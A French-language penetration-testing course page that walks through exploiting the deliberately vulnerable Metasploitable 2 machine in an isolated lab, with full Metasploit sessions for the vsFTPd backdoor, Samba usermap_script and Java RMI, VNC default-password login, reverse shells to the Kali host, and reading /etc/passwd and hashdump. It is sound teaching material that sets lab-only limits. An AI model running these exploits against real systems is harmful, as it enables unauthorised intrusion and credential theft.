Exploitation - Metasploitable 2#
- Choisir 2 à 3 exploits depuis le tableau de priorités (issues du scan).
- Pour chaque exploit :
search,use,show options,check(si disponible)set RHOSTS,LHOST,LPORT, payload adaptérun→sessions -l
- Captures :
id,hostname, sortie MSF.
Cible lab : 172.16.211.128 · Attaquant : Kali 172.16.211.129 (host-only).
Important : Metasploitable 2 est volontairement vulnérable. Exploitation uniquement sur ce lab isolé — pas d’exposition Internet, pas de scan ni d’exploit hors
172.16.211.128(réseau campus, LAN personnel, etc.).
1. Où commence l’exploitation ?#
| Phase | Objectif | Outils typiques |
|---|---|---|
| Reconnaissance | Identifier les cibles potentielles, et les ports ouverts | nmap |
| Scan de vulnérabilités | Confirmer CVE / plugins, prioriser | OpenVAS, Nessus, nmap --script vuln |
| Exploitation | Preuve d’accès : shell, compte, session | Metasploit, exploits publics, credentials faibles |
| Post-exploitation | Impact, privilèges, preuves complémentaires | Meterpreter, commandes locales, enum |
| Rapport | Documenter repro + correctifs | Fiche finding |
L’exploitation = utiliser une faiblesse pour franchir un objectif de sécurité (ex. exécuter des commandes sur MS2).
Reconnaissance → Scan vulns → Exploitation (foothold) → Post-exploit minimal → Fiche finding → Rapport2. Typologie des exploitations#
| Type | Description | Exemples MS2 |
|---|---|---|
| Remote code execution (RCE) | Commandes à distance via service réseau | vsFTPd backdoor, Samba, UnrealIRCd, distcc |
| Exécution via application web | SQLi, RCE web, upload, inclusion | Mutillidae, DVWA, TWiki, Tomcat manager |
| Accès par credentials | Mot de passe faible / par défaut | Telnet, SSH, MySQL, Tomcat, VNC |
| Backdoor / service déjà compromis | Port ouvert = shell existant | Port 1524 (ingreslock historique) |
| Mauvaise configuration | Droits NFS/SMB, X11, SNMP écriture | Upload via WebDAV, montage NFS |
| Client-side / logique | CSRF, XSS → vol session | Mutillidae (plutôt phase web) |
3. Exploitations par CVE#
3.1 FTP — port 21 (vsFTPd 2.3.4)#
Le scan nmap remonte :
21/tcp open ftp
| ftp-vsftpd-backdoor:
| VULNERABLE:
| vsFTPd version 2.3.4 backdoor
| State: VULNERABLE (Exploitable)
| IDs: BID:48539 CVE:CVE-2011-2523
| vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
| Disclosure date: 2011-07-03
| Exploit results:
| Shell command: id
| Results: uid=0(root) gid=0(root)
| References:
| http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
| https://www.securityfocus.com/bid/48539
|_ https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb- Lancer la console
msfconsoleet rechercher un exploit pour vsftpd 2.3.4
└─$ msfconsole -q
msf > search vsftpd
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/dos/ftp/vsftpd_232 2011-02-03 normal Yes VSFTPD 2.3.2 Denial of Service
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent Yes VSFTPD 2.3.4 Backdoor Command Execution- Lancer l’exploit :
- en chargeant le module avec
use - en définissant l’adresse source avec
set LHOST - en définissant l’adresse distante (MS2) avec
set RHOST - puis en lançant l’exploit avec
run
msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] Using configured payload cmd/linux/http/x86/meterpreter_reverse_tcp
msf exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 172.16.211.129
LHOST => 172.16.211.129
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 172.16.211.128
RHOST => 172.16.211.128
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] Started reverse TCP handler on 172.16.211.129:4444
[*] 172.16.211.128:21 - Running automatic check ("set AutoCheck false" to disable)
[*] 172.16.211.128:21 - FTP banner hints its vulnerable: 220 (vsFTPd 2.3.4)
[+] 172.16.211.128:21 - The target appears to be vulnerable. vsftpd 2.3.4 banner detected; backdoor may be present
[+] 172.16.211.128:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (172.16.211.129:4444 -> 172.16.211.128:45664) at 2026-06-11 15:54:30 -0400- Lancer la collecte des preuves avec par exemple
getuid, etsysinfo
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : metasploitable.localdomain
OS : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple : i486-linux-musl
Meterpreter : x86/linux3.2 Samba / SMB — port 445#
Nmap ne nous donne pas beaucoup de détails
445/tcp open microsoft-dsCependant, enum4linux 172.16.211.128 donne plus d’informations, notamment
==================================( OS information on 172.16.211.128 )==================================
[E] Can't get OS info with smbclient
[+] Got OS info for 172.16.211.128 from srvinfo:
METASPLOITABLE Wk Sv PrQ Unx NT SNT metasploitable server (Samba 3.0.20-Debian)
platform_id : 500
os version : 4.9
server type : 0x9a03- Lancer la console
msfconsoleet rechercher un exploit pour Samba 3.0.20
└─$ msfconsole -q
msf > search Samba 3.0.20
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map script" Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script- Lancer l’exploit :
- en chargeant le module avec
use - en définissant l’adresse source avec
set LHOST - en définissant l’adresse distante (MS2) avec
set RHOST - puis en lançant l’exploit avec
run
msf > use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf exploit(multi/samba/usermap_script) > set LHOST 172.16.211.129
LHOST => 172.16.211.129
msf exploit(multi/samba/usermap_script) > set RHOST 172.16.211.128
RHOST => 172.16.211.128
msf exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 172.16.211.129:4444
[*] Command shell session 1 opened (172.16.211.129:4444 -> 172.16.211.128:54142) at 2026-06-11 16:52:14 -0400- Lancer la collecte des preuves avec par exemple
hostname, etwhoami
hostname
metasploitable
whoami
root4. Mauvaise configuration#
4.1 Java RMI#
Le scan nmap précédent remonte :
1099/tcp open rmiregistry
| rmi-vuln-classloader:
| VULNERABLE:
| RMI registry default configuration remote code execution vulnerability
| State: VULNERABLE
| Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution.
|
| References:
|_ https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb- Lancer la console
msfconsoleet rechercher un exploit pour java rmi
└─$ msfconsole -q
msf > search java rmi
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce 2019-05-22 excellent Yes Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RCE
1 exploit/multi/http/crushftp_rce_cve_2023_43177 2023-08-08 excellent Yes CrushFTP Unauthenticated RCE
2 \_ target: Java . . . .
3 \_ target: Linux Dropper . . . .
4 \_ target: Windows Dropper . . . .
5 exploit/multi/misc/java_jmx_server 2013-05-22 excellent Yes Java JMX Server Insecure Configuration Java Code Execution
6 auxiliary/scanner/misc/java_jmx_server 2013-05-22 normal No Java JMX Server Insecure Endpoint Code Execution Scanner
7 auxiliary/gather/java_rmi_registry . normal No Java RMI Registry Interfaces Enumeration
8 exploit/multi/misc/java_rmi_server 2011-10-15 excellent Yes Java RMI Server Insecure Default Configuration Java Code Execution
9 \_ target: Generic (Java Payload) . . . .
10 \_ target: Windows x86 (Native Payload) . . . .
11 \_ target: Linux x86 (Native Payload) . . . .
12 \_ target: Mac OS X PPC (Native Payload) . . . .
13 \_ target: Mac OS X x86 (Native Payload) . . . .
14 auxiliary/scanner/misc/java_rmi_server 2011-10-15 normal No Java RMI Server Insecure Endpoint Code Execution Scanner
15 exploit/multi/browser/java_rmi_connection_impl 2010-03-31 excellent No Java RMIConnectionImpl Deserialization Privilege Escalation
16 exploit/multi/browser/java_signed_applet 1997-02-19 excellent No Java Signed Applet Social Engineering Code Execution
17 \_ target: Generic (Java Payload) . . . .
18 \_ target: Windows x86 (Native Payload) . . . .
19 \_ target: Linux x86 (Native Payload) . . . .
20 \_ target: Mac OS X PPC (Native Payload) . . . .
21 \_ target: Mac OS X x86 (Native Payload) . . . .
22 exploit/multi/http/jenkins_metaprogramming 2019-01-08 excellent Yes Jenkins ACL Bypass and Metaprogramming RCE
23 \_ target: Unix In-Memory . . . .
24 \_ target: Java Dropper . . . .
25 exploit/linux/misc/jenkins_java_deserialize 2015-11-18 excellent Yes Jenkins CLI RMI Java Deserialization Vulnerability
26 exploit/linux/http/kibana_timelion_prototype_pollution_rce 2019-10-30 manual Yes Kibana Timelion Prototype Pollution RCE
27 exploit/multi/browser/firefox_xpi_bootstrapped_addon 2007-06-27 excellent No Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution
28 \_ target: Universal (Javascript XPCOM Shell) . . . .
29 \_ target: Native Payload . . . .
30 exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315 2023-05-26 excellent Yes Openfire authentication bypass with RCE plugin
31 exploit/multi/http/torchserver_cve_2023_43654 2023-10-03 excellent Yes PyTorch Model Server Registration and Deserialization RCE
32 exploit/multi/http/totaljs_cms_widget_exec 2019-08-30 excellent Yes Total.js CMS 12 Widget JavaScript Code Injection
33 \_ target: Total.js CMS on Linux . . . .
34 \_ target: Total.js CMS on Mac . . . .
35 exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc 2021-09-21 manual Yes VMware vCenter vScalation Priv Esc
36 exploit/multi/misc/vscode_ipynb_remote_dev_exec 2022-11-22 excellent Yes VSCode ipynb Remote Development RCE
37 \_ target: Windows . . . .
38 \_ target: Linux File-Dropper . . . .
Interact with a module by name or index. For example info 38, use 38 or use exploit/multi/misc/vscode_ipynb_remote_dev_exec
After interacting with a module you can manually set a TARGET with set TARGET 'Linux File-Dropper'- Lancer l’exploit :
- en chargeant le module avec
use - en définissant l’adresse source avec
set LHOST - en définissant l’adresse distante (MS2) avec
set RHOST - puis en lançant l’exploit avec
run
msf > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf exploit(multi/misc/java_rmi_server) > set LHOST 172.16.211.129
LHOST => 172.16.211.129
msf exploit(multi/misc/java_rmi_server) > set RHOST 172.16.211.128
RHOST => 172.16.211.128
msf exploit(multi/misc/java_rmi_server) > run
[*] Started reverse TCP handler on 172.16.211.129:4444
[*] 172.16.211.128:1099 - Using URL: http://172.16.211.129:8080/1WZ1it7g4l8
[*] 172.16.211.128:1099 - Server started.
[*] 172.16.211.128:1099 - Sending RMI Header...
[*] 172.16.211.128:1099 - Sending RMI Call...
[*] 172.16.211.128:1099 - Replied to request for payload JAR
[*] Sending stage (58073 bytes) to 172.16.211.128
[*] Meterpreter session 1 opened (172.16.211.129:4444 -> 172.16.211.128:52626) at 2026-06-11 16:19:44 -04004.2 VNC#
Le scan nmap remonte :
5900/tcp open vncLe port VNC étant ouvert, tenter un scan.
- Charger le scanner pour VNC dans la console msf
└─$ msfconsole -q
msf > use auxiliary/scanner/vnc/vnc_login
msf auxiliary(scanner/vnc/vnc_login) > set RHOST 172.16.211.128
RHOST => 172.16.211.128
msf auxiliary(scanner/vnc/vnc_login) > set LHOST 172.16.211.129
LHOST => 172.16.211.129
msf auxiliary(scanner/vnc/vnc_login) > run
[*] 172.16.211.128:5900 - 172.16.211.128:5900 - Starting VNC login sweep
[!] 172.16.211.128:5900 - No active DB -- Credential data will not be saved!
[+] 172.16.211.128:5900 - 172.16.211.128:5900 - Login Successful: :password
[*] 172.16.211.128:5900 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed- Lancer
vncvieweravec le mot de passepasswordtrouvé à l’étape 1
└─$ vncviewer 172.16.211.128:5900
Connected to RFB server, using protocol version 3.3
Performing standard VNC authentication
Password:
Authentication successful
Desktop name "root's X desktop (metasploitable:0)"
VNC server default format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor. Pixel format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0- La fenêtre du bureau distant s’ouvre. Lancer la collecte des preuves avec par exemple
getuid, etsysinfo

5. Post-exploitation (après foothold)#
Référentiel détaillé : Post-exploit
Actions autorisées en lab (phase exploitation) vs interdites sans RoE :
| Action | Autorisé lab cours | Outils / commandes |
|---|---|---|
| Preuve identité | Oui | id, whoami, hostname, screenshot |
| Info système | Oui | uname -a, ifconfig, sysinfo (Meterpreter) |
| Enum locale légère | Oui | ps aux, cat /etc/passwd |
| Hashdump | Oui si root (démo) | Meterpreter hashdump |
| Persistance (cron, backdoor) | Non | — |
| Pivot vers autre réseau | Non | — |
| Exfiltration données réelles | Non | — |
5.1 Meterpreter — commandes utiles#
sysinfo
getuid
shell
upload /path/local /path/remote
download /etc/passwd
meterpreter > download /etc/passwd
[*] Downloading: /etc/passwd -> /home/kali/passwd
[*] Downloaded 1.54 KiB of 1.54 KiB (100.0%): /etc/passwd -> /home/kali/passwd
[*] Completed : /etc/passwd -> /home/kali/passwd
hashdump
screenshot5.2 Privilège#
Sur MS2, de nombreux exploits donnent root immédiatement (vsFTPd, Samba, distcc, 1524). Sinon : enum sudo -l, SUID, kernels exploit (hors scope sauf cours avancé).
6. Tableau synthèse — exploitations MS2 (référence TP)#
| Priorité | Service | Port | Type | Module / méthode MSF ou manuel |
|---|---|---|---|---|
| 1 | vsFTPd 2.3.4 | 21 | RCE | exploit/unix/ftp/vsftpd_234_backdoor |
| 1 | Samba | 445 | RCE | exploit/multi/samba/usermap_script |
| 3 | Java RMI | 1099 | RCE | java_rmi_server (selon scan) |
| 3 | VNC / X11 | 5900 / 6000 | Accès | login / x11-access |
Toujours croiser avec votre rapport OpenVAS/Nessus : versions et faux positifs.
7. Suite de la démarche#
Phase actuelle : Exploitation — footholds obtenus, sessions MSF et preuves id / sysinfo collectées.
[✓] Mise en place → [✓] Reconnaissance → [✓] Scan vulns → [●] Exploitation → [ ] Post-exploit → [ ] Findings → [ ] RapportÉtape suivante : Post-exploit minimal — preuves reproductibles, puis fiche finding par exploit.